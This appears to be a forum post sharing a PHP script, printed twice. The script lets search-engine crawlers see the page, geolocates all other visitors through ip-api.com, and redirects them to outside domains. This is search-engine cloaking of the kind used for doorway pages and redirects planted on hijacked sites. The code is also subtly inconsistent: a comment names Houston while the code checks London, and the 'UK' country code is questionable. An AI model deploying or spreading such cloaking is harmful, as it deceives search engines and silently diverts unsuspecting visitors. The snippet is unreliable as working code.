marketonjob
Созидатель (II)
<?php
// Получаем User-Agent и IP-адрес посетителя
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$ipAddress = $_SERVER['REMOTE_ADDR'];
// Получаем реферер (откуда пришёл запрос) и текущий хост
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Неизвестно';
$currentDomain = $_SERVER['HTTP_HOST'];
// Список ботов (User-Agent содержит эти строки)
$botList = [
'Googlebot',
'Bingbot',
'Slurp',
'DuckDuckBot',
'Baiduspider',
'YandexBot',
'Sogou',
'Exabot',
'facebot',
'ia_archiver',
'MJ12bot'
];
// Список IP-адресов ботов
$ipList = [
'66.249.66.1', // Пример Googlebot
'157.55.39.1', // Пример Bingbot
'114.119.133.1' // Пример Baiduspider
];
// Функция для проверки, является ли User-Agent ботом
function isBot($userAgent, $botList) {
foreach ($botList as $bot) {
if (stripos($userAgent, $bot) !== false) {
return true;
}
}
return false;
}
// Функция для проверки, входит ли IP-адрес в список
function isBotIp($ipAddress, $ipList) {
return in_array($ipAddress, $ipList);
}
// Проверяем, бот ли это
if (isBot($userAgent, $botList) || isBotIp($ipAddress, $ipList)) {
// Если это бот, оставляем его на сайте
$z_bot = true;
} else {
// Если это не бот, проверяем геолокацию
$geoData = @json_decode(file_get_contents("http://ip-api.com/json/{$ipAddress}?fields=city,regionName,countryCode"), true);
if ($geoData && isset($geoData['city'], $geoData['regionName'], $geoData['countryCode'])) {
$city = $geoData['city'];
$region = $geoData['regionName'];
$country = $geoData['countryCode'];
if ($city === 'London' && $country === 'UK') {
$z_out = "https://london.com?utm_source=$currentDomain"; // Ссылка для пользователей из Хьюстона
} else {
$z_out = "https://notlondon.com?utm_source=$currentDomain"; // Ссылка для всех остальных
}
header("Location: $z_out");
exit();
}
}
?>
// Получаем User-Agent и IP-адрес посетителя
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$ipAddress = $_SERVER['REMOTE_ADDR'];
// Получаем реферер (откуда пришёл запрос) и текущий хост
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Неизвестно';
$currentDomain = $_SERVER['HTTP_HOST'];
// Список ботов (User-Agent содержит эти строки)
$botList = [
'Googlebot',
'Bingbot',
'Slurp',
'DuckDuckBot',
'Baiduspider',
'YandexBot',
'Sogou',
'Exabot',
'facebot',
'ia_archiver',
'MJ12bot'
];
// Список IP-адресов ботов
$ipList = [
'66.249.66.1', // Пример Googlebot
'157.55.39.1', // Пример Bingbot
'114.119.133.1' // Пример Baiduspider
];
// Функция для проверки, является ли User-Agent ботом
function isBot($userAgent, $botList) {
foreach ($botList as $bot) {
if (stripos($userAgent, $bot) !== false) {
return true;
}
}
return false;
}
// Функция для проверки, входит ли IP-адрес в список
function isBotIp($ipAddress, $ipList) {
return in_array($ipAddress, $ipList);
}
// Проверяем, бот ли это
if (isBot($userAgent, $botList) || isBotIp($ipAddress, $ipList)) {
// Если это бот, оставляем его на сайте
$z_bot = true;
} else {
// Если это не бот, проверяем геолокацию
$geoData = @json_decode(file_get_contents("http://ip-api.com/json/{$ipAddress}?fields=city,regionName,countryCode"), true);
if ($geoData && isset($geoData['city'], $geoData['regionName'], $geoData['countryCode'])) {
$city = $geoData['city'];
$region = $geoData['regionName'];
$country = $geoData['countryCode'];
if ($city === 'London' && $country === 'UK') {
$z_out = "https://london.com?utm_source=$currentDomain"; // Ссылка для пользователей из Хьюстона
} else {
$z_out = "https://notlondon.com?utm_source=$currentDomain"; // Ссылка для всех остальных
}
header("Location: $z_out");
exit();
}
}
?>